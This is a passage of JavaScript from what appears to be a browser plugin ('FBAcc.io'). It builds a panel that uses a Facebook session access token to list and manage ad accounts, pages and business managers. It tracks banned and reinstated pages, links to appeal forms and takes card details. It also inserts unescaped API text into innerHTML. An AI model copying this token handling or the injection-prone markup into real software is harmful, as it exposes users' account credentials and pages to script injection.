                        //todo = todo + "\n<hr width='90%'><center><button id='showAddFPbtn' style='background:#384959;color:white;' onclick='window.showAddFP(); return true;'>Greate new FP</button></center>";	
                        //todo = todo + "<div id='tab4showadd'></div><center><div id='tab4addfplog'></div></center>\n<hr width='90%'>";
                        todo = todo + '';
                        window.appendtab(todo, "tab3");

                    }
                });
            }


            window.showfpstatus = async function() {
                let pzrdfpcheck = await pluginDbgetKey('pzrdfp');

                /* if(pzrdfpcheck == 1){*/
                //pzrdlist= await window.PzrdFPList();
                try {
                    pzrdlist = await window.PzrdFPList();
                } catch (e) {
                    pzrdlist = {
                        'pzrdid': [],
                        'banid': []
                    };
                    console.log('Error get pzrd/ban fp list');
                }

                /*} else{
		 pzrdlist=[];
	 }*/

                tmpapiurl = 'https://graph.facebook.com/v17.0/me?fields=accounts.limit(100){id,name,verification_status,is_published,ad_campaign,is_promotable,is_restricted,parent_page,promotion_eligible,promotion_ineligible_reason,fan_count,has_transitioned_to_new_page_experience,ads_posts.limit(100),picture,roles}&access_token=' + window.privateToken;
                todo = "\n";
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            //console.log(bminf.accounts.data);
                            try {


                                if (bminf.accounts.data.length) {
                                    document.getElementById("tabhead4").innerHTML = "Pages(" + bminf.accounts.data.length + ")";
                                    todo = "\n";
                                    todo = todo + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Status</th><th>Likes</th><th>Ads</th><th>Users</th><th>Comments</th><th></th><th><a class="close" style="transition: all 200ms;font-size: 24px;text-decoration: none;color: #79abd6;cursor:progress" onclick="window.getFpComments();return true;" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M14 12h-4v-12h4v12zm6.949-4.493l1.81-.857c-.353-.7-.758-1.368-1.236-1.981l-1.512 1.318c.36.474.667.986.938 1.52zm-.797-4.299c-.589-.54-1.214-1.038-1.9-1.454l-1.216 1.599c.577.334 1.104.739 1.602 1.177l1.514-1.322zm1.827 7.792h2.006c-.072-.861-.229-1.694-.473-2.493l-1.82.862c.144.527.23 1.074.287 1.631zm-1.895 6.919l1.539 1.29c.465-.616.871-1.276 1.211-1.976l-1.846-.787c-.259.519-.562 1.011-.904 1.473zm1.912-4.919c-.054.54-.162 1.063-.299 1.574l1.864.795c.224-.762.372-1.553.439-2.369h-2.004zm-3.258 6.403c-1.779 1.608-4.129 2.597-6.713 2.597-5.525 0-10.021-4.486-10.021-10 0-1.913.554-3.691 1.496-5.207l2.162 2.162 1.353-7.014-7.015 1.351 2.045 2.045c-1.287 1.904-2.045 4.191-2.045 6.663 0 6.627 5.385 12 12.025 12 3.204 0 6.107-1.259 8.264-3.297l-1.551-1.3z" fill="#79abd6"/></svg></a></th></tr>';
                                    var i = 0;
                                    for (; i < bminf.accounts.data.length; i++) {
                                        if (bminf.accounts.data[i].name) {
                                            todo = todo + "<tr>";

                                            bminf.accounts.data[i].name = "<img width='11' onclick='window.copytocb(`" + bminf.accounts.data[i].id + "`);' alt='" + bminf.accounts.data[i].id + "' src='" + bminf.accounts.data[i].picture.data.url + "'/> <b id='fbaccstatusbm" + bminf.accounts.data[i].id + "' onclick='window.shadowtext(`fbaccstatusbm" + bminf.accounts.data[i].id + "`);return true;'>" + bminf.accounts.data[i].name + "</b>";
                                            if (bminf.accounts.data[i].verification_status) {
                                                switch (bminf.accounts.data[i].verification_status) {
                                                    case "blue_verified":
                                                        bmvstatus = '<span style="color: #7FB5DA;">' + bminf.accounts.data[i].name + '</span>';
                                                        break;
                                                    default:
                                                        bmvstatus = "" + bminf.accounts.data[i].name;
                                                        break;
                                                }
                                            }


                                            if (bminf.accounts.data[i].has_transitioned_to_new_page_experience == true) {
                                                bmvstatus += ' [<span style="color: yellow;">NEW</span>]';
                                            } else {
                                                //bmvstatus+='[old]';		   
                                            }
                                            if (pzrdlist.pzrdid.indexOf(bminf.accounts.data[i].id) != -1) {
                                                //console.log('pzrd found');
                                                bmvstatus += ' [<span style="color: green;">Reinst</span>]';
                                            }


                                            if (pzrdlist.banid.indexOf(bminf.accounts.data[i].id) != -1) {
                                                bmdisstatus = '🔴<span style="color: red;">DISABLED</span>';
                                                bmdisstatus += '<button style="background:#384959;color:white;" id="FPAppeal' + bminf.accounts.data[i].id + '" onclick="window.appealfp(`' + bminf.accounts.data[i].id + '`); return false;">Appeal</button>';
                                            } else {

                                                if (bminf.accounts.data[i].is_published == false) {
                                                    bmdisstatus = '<a onclick="window.unhidefp(`' + bminf.accounts.data[i].id + '`);"><svg width="24" height="24" clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m17.069 6.546 2.684-2.359c.143-.125.32-.187.497-.187.418 0 .75.34.75.75 0 .207-.086.414-.254.562l-16.5 14.501c-.142.126-.319.187-.496.187-.415 0-.75-.334-.75-.75 0-.207.086-.414.253-.562l2.438-2.143c-1.414-1.132-2.627-2.552-3.547-4.028-.096-.159-.144-.338-.144-.517s.049-.358.145-.517c2.111-3.39 5.775-6.483 9.853-6.483 1.815 0 3.536.593 5.071 1.546zm2.319 1.83c.966.943 1.803 2.014 2.474 3.117.092.156.138.332.138.507s-.046.351-.138.507c-2.068 3.403-5.721 6.493-9.864 6.493-1.297 0-2.553-.313-3.729-.849l1.247-1.096c.795.285 1.626.445 2.482.445 3.516 0 6.576-2.622 8.413-5.5-.595-.932-1.318-1.838-2.145-2.637zm-3.434 3.019c.03.197.046.399.046.605 0 2.208-1.792 4-4 4-.384 0-.756-.054-1.107-.156l1.58-1.389c.895-.171 1.621-.821 1.901-1.671zm-.058-3.818c-1.197-.67-2.512-1.077-3.898-1.077-3.465 0-6.533 2.632-8.404 5.5.853 1.308 1.955 2.567 3.231 3.549l1.728-1.519c-.351-.595-.553-1.289-.553-2.03 0-2.208 1.792-4 4-4 .925 0 1.777.315 2.455.843zm-2.6 2.285c-.378-.23-.822-.362-1.296-.362-1.38 0-2.5 1.12-2.5 2.5 0 .36.076.701.213 1.011z" fill="#79abd6"/></svg></a>';
                                                } else bmdisstatus = '🟢';
                                                //bmdisstatus='<span style="color: green;" alt="alt">ACTIVE</span>';
                                            }

                                            if (bminf.accounts.data[i].fan_count > 100) {
                                                bmlimstatus = '<span style="color: green;">' + bminf.accounts.data[i].fan_count + '</span>';
                                            } else {
                                                bmlimstatus = '' + bminf.accounts.data[i].fan_count + '';
                                            }

                                            try {
                                                if (bminf.accounts.data[i].roles.data.length > 0) {
                                                    fproles = '' + bminf.accounts.data[i].roles.data.length + "<a onclick='window.showMorePopupFpRoles(`" + bminf.accounts.data[i].id + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg></a>';
                                                } else {
                                                    fproles = 'n/a';
                                                }
                                            } catch (e) {
                                                fproles = 'n/a';
                                            }
                                            try {
                                                if (bminf.accounts.data[i].ads_posts.data.length > 0) {
                                                    ///fpadscount='<span style="color: green;">'+bminf.accounts.data[i].ads_posts.data.length+'</span>';

                                                    fpadscount = '<span style="color: green;">' + bminf.accounts.data[i].ads_posts.data.length + '</span>' + "<a onclick='window.showMorePopupFpAds(`" + bminf.accounts.data[i].id + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg></a>';
                                                } else {
                                                    fpadscount = '' + bminf.accounts.data[i].ads_posts.data.length + '';
                                                }
                                            } catch (e) {
                                                /*console.log("No ADS for FP :(");*/
                                                fpadscount = 0;
                                            }
                                            todo = todo + ("<td><b>" + bmvstatus + "</b></td> <td><center><b>" + bmdisstatus + "</b></center> " + "</td><td><center><b>" + bmlimstatus + "</b></center> " + "</td><td><center><b>" + fpadscount + "</b></center> " + "</td><td><b>" + fproles + "</b></td><td id='fpcomm_" + bminf.accounts.data[i].id + "'>-</td><td><b><a onclick='window.delfp(`" + bminf.accounts.data[i].id + "`);'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b></td><td><b><a href='https://www.facebook.com/" + bminf.accounts.data[i].id + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a></b></td>");
                                            todo = todo + "</tr>";
                                        }
                                    }

                                    todo = todo + "<tr style='color:#E7E3E5'><td></td><td></td><td></td><td></td><td></td><td id='fpcleanall'></td><td></td><td></td></tr>";

                                    todo = todo + "</table>";
                                } else {
                                    //window.appendtab('No BM accounts', "tab5");
                                    todo = "No FP accounts for display :(";
                                }
                            } catch (e) {
                                console.log("No FP accounts for display :(");
                            }

                            todo = todo + "\n<hr width='90%'><center><button id='showAddFPbtn' style='background:#384959;color:white;' onclick='window.showAddFP(); return true;'>Greate new FP</button></center>";


                            todo = todo + "<div id='tab4showadd'></div><center><div style='text-align: left;' id='tab4addfplog'></div></center>\n<hr width='90%'>";
                            todo = todo + '';
                            window.appendtab(todo, "tab4");

                        }
                    });
            }

            window.checkBmFunc = function(tokn) {
                getbmid = document.getElementById("bmlookid").value;
                bmurl = 'https://graph.facebook.com/v17.0/' + getbmid + '?fields=id,is_disabled_for_integrity_reasons,can_use_extended_credit,name,verification_status&access_token=' + window.ftoken;
                window.getJSON(bmurl, function(err, data) {
                    if (err !== null) {
                        alert("Something went wrong: " + err)
                    } else {
                        addrow = "<tr><td>" + getbmid + "</td><td>" + data.name + "</td>";
                        if (data.is_disabled_for_integrity_reasons == true) {
                            addrow = addrow + '<td><span style="color: red;">DISABLED</span></td>';
                        } else {
                            addrow = addrow + '<td><span style="color: green;">ACTIVE</span></td>';
                        }
                        if (data.can_use_extended_credit == true) {
                            addrow = addrow + '<td><span style="color: green;">$250</span></td>';
                        } else {
                            addrow = addrow + '<td><span style="color: red;">$50</span></td>';
                        }
                        document.getElementById("bmrestablediv").style.display = "block";
                        var table = document.getElementById("bmrestableid");
                        var row = table.insertRow(1);
                        row.innerHTML = addrow;
                    }
                });

                //window.mainload();
            }
            ////////////////////////////indexedDB//////////////////////////////////
            window.pluginDb = {
                name: "fbaccplugDB",
                ver: 1,
                store: "config",
                keyPath: "id",
                initCfg: {
                    id: 'version',
                    value: window.adsplugver
                },
                dbIndex: [],
                con: false,
            }

            window.pluginDbConnect = async function() {
                return new Promise((resolve, reject) => {
                    req = window.openRequest = indexedDB.open(pluginDb.name, pluginDb.ver);
                    req.onsuccess = (res) => {
                        pluginDb.con = res.target.result;
                        //console.log(`[connectDB] ${pluginDb.name}, task finished`);
                        resolve();
                    }
                    req.onupgradeneeded = async (res) => {
                        pluginDb.con = res.target.result;
                        await pluginDbInit();
                        resolve();
                    }
                    req.onerror = (e) => {
                        reject(e);
                    }
                });
            }

            window.pluginDbInit = async function() {
                return new Promise((resolve, reject) => {
                    if (pluginDb.con.objectStoreNames.contains(pluginDb.store)) {
                        //console.log(`[createDB] ${pluginDb.name}, already initialized`);
                        resolve(`[createDB] ${pluginDb.name}, already initialized`);
                    }
                    var objectStore = pluginDb.con.createObjectStore(pluginDb.store, {
                        keyPath: pluginDb.keyPath
                    });
                    objectStore.transaction.oncomplete = (e) => {
                        trx = pluginDb.con.transaction(pluginDb.store, "readwrite").objectStore(pluginDb.store);
                        trx.put(pluginDb.initCfg);
                        //console.log(`[createDB] ${pluginDb.name}, task finished`);
                        resolve(`[createDB] ${pluginDb.name}, task finished`);
                    }

                    objectStore.transaction.onerror = (event) => {
                        reject(`[createDB] ${pluginDb.name}, ${event.request.errorCode}`);
                    };
                });
            }

            window.pluginDbgetKey = async function(key) {
                return new Promise((resolve, reject) => {
                    var trx = pluginDb.con.transaction(pluginDb.store).objectStore(pluginDb.store);
                    trx = trx.get(key);
                    trx.onsuccess = (r) => {
                        if (r.target.result === undefined) {
                            //console.log(`[readDB] ${pluginDb.store}, key: ${key} not found`);
                            resolve(undefined);

                        } else {
                            //console.log(`[readDB] ${pluginDb.store}, key: ${key} value: ${r.target.result.value}`);
                            resolve(r.target.result.value);
                        }
                    }

                    trx.onerror = (e) => {
                        reject(e);
                    }
                });
            }

            window.pluginDbsetKey = async function(key, value) {
                return new Promise((resolve, reject) => {
                    var trx = pluginDb.con.transaction(pluginDb.store, "readwrite").objectStore(pluginDb.store);
                    trx = trx.put({
                        id: key,
                        value: value
                    });
                    trx.onsuccess = (r) => {
                        //console.log(`[updateDB] ${pluginDb.store}, key: ${key} updated ${value}`);
                        resolve(`[updateDB] ${pluginDb.store}, key: ${key} updated ${value}`);
                    }

                    trx.onerror = (e) => {
                        reject(e);
                    }
                });
            }
            ////////////////////////////indexedDB////////////////////////////////// 
            ///head	
            window.initAccstatusPlug = async function() {
                await window.pluginDbConnect();
                var overlay = document.createElement("div");
                overlay.id = "notif-overlay";
                overlay.innerHTML = "<div id='notif-overlay-databox' style='width:100%; height:100%; z-index:99998; background:#384959; opacity: 0.4; position: absolute; left:0; top: 0'></div>";
                overlay.setAttribute('style', "width:100%; height:100%;  position: absolute; left:0; top:0;");
                document.body.append(overlay);
                var sytime = new Date().toLocaleString();
                var div = document.createElement("div");
                div.id = "notif";
                div.setAttribute("style", "background:#384959;box-shadow:0 1px 15px rgba(140,140,140);color:white;border-radius:5px;font-family:sans-serif;font-size:1.2em;padding:11px;position:absolute;top:3em;left:50%;overflow:auto;max-height:80%;min-width:40%;transform:translate(-50%,0);z-index:99999;");
                closetext = '<center id="notif-header"> <a onclick="window.copytocb(`' + window.privateToken + '`);"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M18 6v-6h-18v18h6v6h18v-18h-6zm-12 10h-4v-14h14v4h-10v10zm16 6h-14v-14h14v14zm-3-8h-3v-3h-2v3h-3v2h3v3h2v-3h3v-2z"/></svg></a> <a style="color:#7FB5DA;cursor:progress" href="https://fbacc.io">FBAcc.io</a> <b style="color:red" id="plugver">v' + window.adsplugver + '</b><style type="text/css">.blink_me{animation:blinker 1s linear infinite}.blink_me a:link{color:yellow;}@keyframes blinker{50%{opacity:0}}</style><b style="color:red" class="blink_me" id="plugupdate"></b>     </center>       <a class="close" style="position: absolute;top: 10px;right: 60px;transition: all 200ms;font-size: 20px;font-weight: bold;text-decoration: none;color: #333;" onclick="window.mainconfig();" href="#">⚙</a><a class="close" style="position: absolute;top: 10px;right: 40px;transition: all 200ms;font-size: 20px;font-weight: bold;text-decoration: none;color: #333;" onclick="window.mainreload();" href="#">↻</a> <a class="close" style="position: absolute;top: 10px;right: 20px;transition: all 200ms;font-size: 20px;font-weight: bold;text-decoration: none;color: #333;" onclick="window.mainclose();" href="#">×</a><br><div id="fbaccmainblock"><div id="fbaccmainsubblock"><div id="dblock1"></div><div id="dblock1cc">Card: n/a [<a onclick="window.addCCtoadAccForm();return true;">add</a>]</div><div id="dblock1ccform" style="display: none;"><form><div class="form-row"><div class="col-4"><input type="text" id="ccNumber" placeholder="1234567812341234" style="background: #384959;color:white;" maxlength="16" size="16"><select style="background: #384959;color:white;border:none;" id="ccMonth"><option value="01">01</option><option value="02">02</option><option value="03">03</option><option value="04">04</option><option value="05">05</option><option value="06">06</option><option value="07">07</option><option value="08">08</option><option value="09">09</option><option value="10">10</option><option value="11">11</option><option value="12">12</option></select><select style="background: #384959;color:white;border:none;" id="ccYear"><option value="2022">2022</option><option value="2023">2023</option><option value="2024">2024</option><option value="2025">2025</option><option value="2026">2026</option><option value="2027">2027</option><option value="2028">2028</option><option value="2029">2029</option><option value="2030">2030</option><option value="2031">2031</option><option value="2032">2032</option><option value="2033">2033</option><option value="2034">2034</option><option value="2035">2035</option></select><input type="text" id="ccCVC" placeholder="123" style="background: #384959;color:white;" maxlength="3" size="3"><input type="text" id="ccIso" placeholder="UA" style="background: #384959;color:white;" maxlength="2" size="2"></div></div><center><button style="background:#384959;color:white;" id="addCCtoadAccProcessForm" onclick="window.addCCtoadAccProcessForm(); return false;">Set up payment method</button></center></form></div></div><div id="dblock2"></div>\n<hr width="90%"><style type="text/css">.tabs{width:100%;display:inline-block;}.tab-links:after{display:block;clear:both;content:""}.tab-links li{margin:0px 1px;float:left;list-style:none;}.tab-links a{padding:9px 15px;display:inline-block;border-radius:3px 3px 0px 0px;background:#7FB5DA;font-size:12px;font-weight:600;color:#4c4c4c;transition:all linear 0.15s}.tab-links a:hover{background:#a7cce5;text-decoration:none}li.active a,li.active a:hover{background:#fff;color:#4c4c4c}.tab-content{font-size:1.2em;padding:15px;border-radius:3px;box-shadow:-1px 1px 1px rgba(0,0,0,0.15);}.tab-content a{color:#7FB5DA;cursor:help}.tab-content b{font-size:1.2em;}.tab{display:none}.tab.active{display:block}.prep{font-size: .7rem;margin: 0;white-space: pre-wrap;}</style><div id="dblock3"><div class="tabs"><ul class="tab-links"><li class="active tabli" id="tabli1"><a href="#tab1" onclick="window.adstabselect(1);return true;" id="tabhead1">Ads</a></li><!--<li id="tabli2" class="tabli"><a href="#tab2" onclick="window.adstabselect(2);return true;" id="tabhead2">AdCreo</a></li>--><li id="tabli3" class="tabli"><a href="#tab3" onclick="window.adstabselect(3);return true;" id="tabhead3">AdAccs</a></li><li id="tabli4" class="tabli"><a href="#tab4" onclick="window.adstabselect(4);return true;" id="tabhead4">Pages</a></li><li id="tabli5" class="tabli"><a href="#tab5" onclick="window.adstabselect(5);return true;" id="tabhead5">Businesses</a></li><!--<li id="tabli6" class="tabli"><a href="#tab6" onclick="window.adstabselect(6);return true;" id="tabhead6">X</a></li>--></ul><div class="tab-content"><div id="tab1"class="tab active"></div><div id="tab2"class="tab"></div><div id="tab3"class="tab"></div><div id="tab4"class="tab"></div><div id="tab5"class="tab"></div><div id="tab6"class="tab"></div></div></div><div id="sytime" style="position: absolute;top: 15px;left: 10px;transition: all 200ms;font-size: 11px;text-decoration: none;color:#7FB5DA;" onclick="" href="#">↻ ' + sytime + '</div><style type="text/css">@-webkit-keyframes scroll{0%{-webkit-transform:translate(0,0);transform:translate(0,0)}100%{-webkit-transform:translate(-100%,0);transform:translate(-100%,0)}}@-moz-keyframes scroll{0%{-moz-transform:translate(0,0);transform:translate(0,0)}100%{-moz-transform:translate(-100%,0);transform:translate(-100%,0)}}@keyframes scroll{0%{transform:translate(0,0)}100%{transform:translate(-100%,0)}}.marquee{display:block;width:100%;white-space:nowrap;overflow:hidden}.marquee span{display:inline-block;padding-left:100%;-webkit-animation:5s linear infinite scroll;-moz-animation:5s linear infinite scroll;animation:5s linear infinite scroll}</style><div id="fbplugads" class="marquee"><span></span></div></div>';
                div.innerHTML = closetext;
                overlay.append(div);
                dragElement(div);
                window.getPopupCoords(false);
            };

            window.adstabselect = async function(tab) {
                window.getAccessTokenFunc();
                window.checkauth();
                var tabelements = document.getElementsByClassName("tab");
                for (var i = 0; i < tabelements.length; i++) {
                    tabelements[i].className = 'tab';
                }
                var tablielements = document.getElementsByClassName("tabli");
                for (var i = 0; i < tablielements.length; i++) {
                    tablielements[i].className = '';
                }
                document.getElementById("tab" + tab).className = 'tab active';
                document.getElementById("tabli" + tab).className = 'tabli active';

                let hidemain = await pluginDbgetKey('hidemainontab');
                // console.log("Hide="+hidemain);
                // console.log("Tab="+tab);
                if (hidemain == 1 && tab > 1)
                    window.mainhide();

                if (tab == 1) {
                    /*ACC tab*/
                    //window.showaccstatus();
                    console.log('Tab1 def active');
                    window.mainunhide();
                }
                if (tab == 3) {
                    /*ACC tab*/
                    window.showaccstatus();
                    console.log('Tab3 Accs active');
                }
                if (tab == 4) {
                    /*FP tab*/
                    window.showfpstatus();
                    console.log('Tab4 FP active');
                }
                if (tab == 5) {
                    /*BM tab*/
                    await window.showbmstatus();
                    console.log('Tab5 BM active');
                }
                if (tab == 6) {
                    /*private tab*/
                    window.showprivate();
                    console.log('Tab6 Private active');
                }

                var sytime = new Date().toLocaleString();
                document.getElementById("sytime").innerHTML = '↻ ' + sytime;
            }


            window.appendtab = function(content, dblock) {
                div = document.getElementById(dblock);
                div.innerHTML = content;
            };
            window.appendtabplus = function(content, dblock) {
                div = document.getElementById(dblock);
                div.innerHTML += content;
            };

            var appendadd = function(name, dblock) {
                div = document.getElementById(dblock);
                div.innerHTML = name;
            };

            window.getURLParameter = function(name) {
                return decodeURI(
                    (RegExp(name + '=' + '(.+?)(&|$)').exec(location.search) || [, null])[1] || ''
                );
            }

            window.mainclosead = function() {
                //document.getElementById("notif").remove();
                document.getElementById("fbplugads")?.remove();
            }
            window.mainclose = function() {
                //document.getElementById("notif").remove();
                document.getElementById("notif-overlay")?.remove();
                window.destroyPluginPopup();
            }
            window.mainhide = function() {
                document.getElementById("fbaccmainsubblock").style.display = 'none';
            }
            window.mainunhide = function() {
                document.getElementById("fbaccmainsubblock").style.display = 'block';
            }

            window.mainreload = function() {
                //document.getElementById("notif")?.remove();
                document.getElementById("notif-overlay")?.remove();
                window.destroyPluginPopup();
                window.mainload();
            }

            window.mainconfig = function() {
                //	 document.getElementById("notif").remove();
                document.getElementById("fbaccmainblock").innerHTML = '';
                var congigblock = '';
                configblock = `<center><h1>Plugin settings</h1><hr/></center>
   <div id="fbaccsetconfig">
   Main tab: <select style='background: #384959;color:white;' id='fbaccsetconfigtabselect'>
   <option value='1'>default (Account Ads)</option>
   <option value='3'>AdsAccs</option>
   <option value='4'>Pages</option>
   <option value='5'>BM</option>
   </select><br/>
   Hide Main Acc on tabs: <select style='background: #384959;color:white;' id='fbaccsetconfighidemainontabselect'><option value='0'>No</option><option value='1'>Yes</option></select><br/>
   Convert currencies to USD: <select style='background: #384959;color:white;' id='fbaccsetconfigconvertselect'><option value='0'>No</option><option value='1'>Yes</option></select><br/>
   PZRD page status: <select style='background: #384959;color:white;' id='fbaccsetconfigpzrdfpselect'><option value='1'>Yes</option><option value='0'>No</option></select><br/>
   <!--PZRD BM status: <select style='background: #384959;color:white;' id='fbaccsetconfigpzrdbmselect'><option value='1'>Yes</option><option value='0'>No</option></select><br/>
   PZRD Acc status: <select style='background: #384959;color:white;' id='fbaccsetconfigpzrdaccselect'><option value='0'>No</option><option value='1'>Yes</option></select><br/>
   </div>-->
   <br/>
   <center><button style='background:#384959;color:white;' id='fbaccsetconfigsave' onclick='window.mainconfigsave(); return false;'>Save Settings</button></center>
   `;


                document.getElementById("fbaccmainblock").innerHTML = configblock;

                let cfgValues = [
                    'tab', 'convert', 'pzrdfp', 'pzrdbm', 'pzrdacc'
                ];
                cfgValues.forEach(async (element) => {
                    let domId = `fbaccsetconfig${element}select`;
                    //console.log(domId);
                    let v = await pluginDbgetKey(element);
                    if (v != undefined)
                        document.getElementById(domId).value = v;
                });


                //	window.mainload();
            }
            window.mainconfigsave = async function() {


                await pluginDbsetKey('tab', document.getElementById("fbaccsetconfigtabselect").value);
                await pluginDbsetKey('convert', document.getElementById("fbaccsetconfigconvertselect").value);
                await pluginDbsetKey('pzrdfp', document.getElementById("fbaccsetconfigpzrdfpselect").value);
                // await pluginDbsetKey('pzrdbm', document.getElementById("fbaccsetconfigpzrdbmselect").value);
                //await pluginDbsetKey('pzrdacc',  document.getElementById("fbaccsetconfigpzrdaccselect").value);
                await pluginDbsetKey('hidemainontab', document.getElementById("fbaccsetconfighidemainontabselect").value);
                window.mainreload();


                /*var getcConfigTabval = document.getElementById("fbaccsetconfigtabselect").value;
                var getcConfigConvertval = document.getElementById("fbaccsetconfigconvertselect").value;
                var getcConfigPzrdfpval = document.getElementById("fbaccsetconfigpzrdfpselect").value;
                var getcConfigPzrdbmval = document.getElementById("fbaccsetconfigpzrdbmselect").value;
                var getcConfigPzrdaccval = document.getElementById("fbaccsetconfigpzrdaccselect").value;*/

            }

            window.getCookie = function(name) {
                let matches = document.cookie.match(new RegExp(
                    "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
                ));
                return matches ? decodeURIComponent(matches[1]) : undefined;
            }


            window.copytocb = function(copytext) {
                navigator.clipboard.writeText(copytext)
                    .then(() => {
                        alert(copytext + ' - successfully copied to clipboard');
                    })
                    .catch(() => {
                        alert("error copy to clipboard");
                    });
            }
            window.shadowtext = function(divid) {
                div = document.getElementById(divid);
                document.getElementById(divid).style.cssText += "text-shadow: 0 0 32px white;color: transparent;";
            }

            /* ################## Main Code #################*/
            window.mainload = async function() {
                window.getAccessTokenFunc();
                window.checkVerFunc();
                await initAccstatusPlug();
                let tab = await pluginDbgetKey('tab');
                if (tab != undefined)
                    window.adstabselect(tab);

                var ApiUrlMainInfo = "https://graph.facebook.com/v17.0/act_" + window.selectedacc + "/ads/?fields=name,status,timezone_name,timezone_id,ad_review_feedback,adcreatives{image_url},delivery_status&limit=100&access_token=" + window.privateToken + "&locale=en_US";
                var ApiUrlFullInfo = "https://graph.facebook.com/v17.0/act_" + window.selectedacc + "?fields=name,id,adtrust_dsl,account_status,disable_reason,balance,amount_spent,business_restriction_reason,average_daily_campaign_budget,is_new_advertiser,timezone_name,timezone_id,currency,self_resolve_uri,age,max_billing_threshold,current_unbilled_spend,adspaymentcycle&access_token=" + window.privateToken + "&locale=en_US";
                var ApiUrlFinInfo = "https://graph.facebook.com/v17.0/act_" + window.selectedacc + "?fields=funding_source_details&access_token=" + window.privateToken + "&locale=en_US";
                var todo = "";
                window.getJSON(ApiUrlFullInfo, function(theLibrary, options) {
                    todo = `<select onChange="window.open(this.value)" style="width: 100%;background: #384959;">
				 <option value="">Quick links</option>
				 <option value="https://www.facebook.com/accountquality">Account Quality</option>
				 <option value="https://business.facebook.com/help/contact/649167531904667">Manual Pay</option>
				 <option value="https://business.facebook.com/overview">BM Create</option>
				 <option value="https://developers.facebook.com/tools/debug/">FB debugger</option>
				 <option value="https://www.facebook.com/help/contact/305334410308861">Ads Appeal</option>
				 <option value="https://mbasic.facebook.com/support/forms/flow_view?id=2166173276743732">BM Appeal</option>
				 <option value="https://mbasic.facebook.com/support/forms/flow_view?id=273898596750902">Social Acc Appeal</option>
				 <option value="https://mbasic.facebook.com/support/forms/flow_view?id=2158932601016581">Page Appeal</option>
				 <option value="https://mbasic.facebook.com/support/forms/flow_view?id=2026068680760273">Ads ACC Appeal</option>
				 <option value="https://facebook.com/help/contact/391647094929792">Card Appeal</option>
				 <option value="https://business.facebook.com/certification/nondiscrimination/">Nondiscrimination</option>
				 <option value="https://business.facebook.com/help/contact/856051674863409">Re-enable disabled ad account</option>
				 <option value="https://www.facebook.com/payments/risk/preauth/?ad_account_id=${window.selectedacc}&entrypoint=AYMTAdAccountUnrestrictLinkGenerator">Approve Temporary Hold</option>
				 <option value="https://www.facebook.com/diagnostics">iP info</option>
				 <option value="https://www.facebook.com/primary_location/info">Primary Location</option></select>`;
                    var addtodo = '';
                    if (options.is_new_advertiser) {
                        addtodo = "[new]";
                    } else addtodo = "[not new]";
                    todo = todo + "<center><b id='fbaccstatusaccname' onclick='window.shadowtext(`fbaccstatusaccname`);return true;'>" + options.name + "</b> " + addtodo + "</center>";
                    if (theLibrary !== null) {
                        alert("Something went wrong: " + theLibrary);
                    } else {
